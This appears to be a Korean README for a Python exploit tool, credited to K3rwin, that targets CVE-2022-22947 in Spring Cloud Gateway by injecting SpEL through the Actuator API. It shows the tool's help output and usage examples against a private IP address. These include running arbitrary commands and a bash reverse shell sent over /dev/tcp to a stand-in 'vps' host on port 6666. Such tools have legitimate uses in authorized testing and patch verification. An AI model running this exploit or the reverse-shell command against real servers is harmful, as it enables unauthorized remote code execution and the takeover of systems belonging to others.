
CVE-2022-22947(Spring Cloud Gateway RCE)에 대한 Python 익스플로잇으로, Actuator API SpEL 주입을 통한 명령 실행, 리버스 셸 및 취약점 탐지를 지원합니다.
pip3 install -r requirements.txt
$ python3 spring-cloud-gateway-rce.py -h
___ __ ____ ___ ____ ____ ____ ____ ___ _ _ _____
/ __\ /\ /\ /__\ |___ \ / _ \ |___ \ |___ \ |___ \ |___ \ / _ \ | || | |___ |
/ / \ \ / / /_\ _____ __) || | | | __) | __) | _____ __) | __) || (_) || || |_ / /
/ /___ \ V / //__ |_____| / __/ | |_| | / __/ / __/ |_____| / __/ / __/ \__, ||__ _| / /
\____/ \_/ \__/ |_____| \___/ |_____||_____| |_____||_____| /_/ |_| /_/
CVE-2022-22947 Spring Cloud Gateway RCE
By:K3rwin
usage: spring-cloud-gateway-rce.py [-h] [-u URL] [-c CMD] [-s SYSTEM]
Spring Cloud Gateway RCE 도움말 안내
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL 지정
-c CMD, --cmd CMD 실행할 명령 지정, 기본값 whoami
-s SYSTEM, --system SYSTEM
대상 호스트 운영체제 지정, 기본값 linux, 인수: win/linux
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/"

python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "ip add"

python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "bash -i >& /dev/tcp/vps/6666 0>&1"

